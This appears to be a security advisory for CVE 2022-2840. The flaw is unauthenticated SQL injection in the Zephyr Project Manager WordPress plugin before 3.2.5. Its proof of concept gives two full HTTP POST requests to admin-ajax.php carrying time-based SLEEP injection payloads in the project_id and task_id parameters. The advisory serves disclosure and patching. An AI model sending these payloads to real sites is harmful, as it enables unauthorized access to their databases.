Zephyr Project Manager < 3.2.5 – Multiple Unauthenticated SQLi | CVE 2022-2840

Description

The plugin does not sanitise and escape various parameters before using them in SQL statements via various AJAX actions available to both unauthenticated and authenticated users, leading to SQL injections

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Connection: close
Upgrade-Insecure-Requests: 1

action=zpm_view_project&project_id=1 OR (SELECT 7464 FROM (SELECT(SLEEP(5)))EtZW)


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Connection: close
Upgrade-Insecure-Requests: 1

action=zpm_view_task&task_id=1 OR (SELECT 7464 FROM (SELECT(SLEEP(5)))EtZW)